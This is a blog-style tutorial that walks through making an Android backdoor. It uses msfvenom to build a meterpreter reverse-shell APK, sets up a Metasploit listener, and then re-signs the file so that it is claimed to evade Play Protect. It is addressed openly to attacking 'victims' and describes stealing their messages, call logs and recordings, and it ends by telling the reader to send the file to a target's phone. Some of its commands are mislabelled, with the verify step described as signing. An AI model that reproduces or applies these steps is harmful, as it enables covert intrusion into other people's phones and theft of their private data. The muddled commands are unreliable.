The modern Android operating system has a robust inbuilt security system to protect users from malicious activity.
And for that, just creating a payload and injecting it on a victim’s smartphone is not going to work to hack their device.
So you have to create a payload that can smartly bypass the strong security wall of Android mobile.
Now you might be wondering how you can make such undetectable payloads.
Because in this blog post, we are going to present you with an ultimate guideline on how to make undetectable payload for android with some simple steps.
So why are you delaying? Let’s get started!
What Is The Payload For Android?
Before getting started, let’s have a glimpse at what a payload means in the context of android.
Payload indicates the part of viruses that can perform malicious action and cause harm to software. Some Examples of payloads can include insulting text messages, data destruction, spurious email messages, etc.
Hackers create payloads for androids in order to hack or spy on victim’s smartphones keeping them unaware. As a result, the attackers can steal their confidential data and have access to their messages and call logs, even to their audio recordings.
But it is not so easy to strike the security arrangement of the android operations system. You have to create an undetectable payload to dodge this tight security system.
And that is why we have come up with this article to show the steps of creating such payloads.
How To Make A Payload For Android Using Msfvenom And Metasploit Framework
Before making a strong payload to bypass the security mechanisms of an android phone secretly, you must know how to make a normal payload. To show you the entire process, we are going to use MSFvenom for generating a payload and setting up a listener to the Metasploit framework with some easy steps.
Let’s focus on it.

Launch Kali Linux and log in with your password or user ID.
Kali Linux is a well-known Debian-based operating system with some useful tools designed for performing different security tasks like penetration testing, reverse engineering, etc.
Fire up the terminal console to make an exploit using MSFvemom.
MSFvenom combines two important tools named MSFpayload and MSFencode. These two tools help a lot in generating different kinds of payloads and encoding them in various encoder modules.
Some notable features of MSFvenom are:
- The capability of merging two tools in a single tool
- Standard command-line option
- Handling power of all output formats
It is mainly used to create a payload for android in dot apk format. And for doing so, you have to type in the following command in the terminal.
MSFvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=4444 R> android_shell.apk
Sign a certificate for the apk file. Though you have created the apk file successfully in the previous steps, you cannot install the file without signing it properly. Because Android devices are allowed to install signed.apk only.
You can sign the .apk file in Kali Linux using the jar signer that comes preinstalled. Use the following command to get the job done.
jarsigner -verify -verbose -certs android_shell.apk
Verify the .apk file using zipalign. Zipalign does not come preinstalled. So you need to install it at first and then perform a verifying task using the below command.
zipalign -v 4 android_shell.apk signed_jar.apk
The malicious apk file is ready to use on any android environment. The name of the new file should be signed_jar.apk after the process of verification gets completed.
Setting Up The Listener
Now it is time to start the listener. Follow the below steps to set up the listener.
Type the following command to start MSFconsole.
It will take a few seconds to get started.
To open the multi-handler in Metasploit, you have to type in the below command.
In order to set the payload, simply type the command we mentioned below.
set payload android/meterpreter/reverse_tcp
Now you need to set the LHOST to listen to the session you want. It would be if you can enter the victim’s IP. Otherwise, you have to enter your local IP address.
After that, you have to set the LPORT. Don’t forget to enter the same port you have used to make the payload.
And now the final command has come to evade the victim’s phone. Type ‘exploit’ to connect the infected device and to have the meterpreter session.
Voila! You have done all the steps consistently and successfully created the backdoor to hack android phones.
How To Make A Payload Undetectable For Android
After completing the signing step of the apk file, you have made it already undetectable in Kali Linux. Well, now we will show how you can make a payload undetectable for android using the termux app. It is a good app for creating a payload in android if you don’t have a PC.
You can repeat the above steps in termux to create a payload as the process is almost the same.
Now you should follow the below steps to make a payload fully undetectable.
Download an application named Mix and installed it onto your smartphone.
Let’s say you have made a payload named hack.apk and you want the file to be undetected. Jump into the second step to continue the process.
Now head over to the internal storage of your phone and locate the hack.apk file. Long press it to go to the next step.
You will then see a 3 dot icon in the top right corner. Hit on it and you will notice some options there. Tap the sign options from these.
Now you can see some icons on the top bar. Tap on the first icon that looks like a notepad.
A pop will appear then. Tap on the sign one file. Don’t tap on clear.
Then another pop-up will come. Select PLATFORM from the given options.
You can see another apk file named hack_signed.apk which is fully undetectable and is capable to bypass the Play Protect.
Now you can send the file to the victim’s phone to have control of the infected phone.
That is all about how to make an undetectable payload for android. We tried to keep things simple for your better understand.
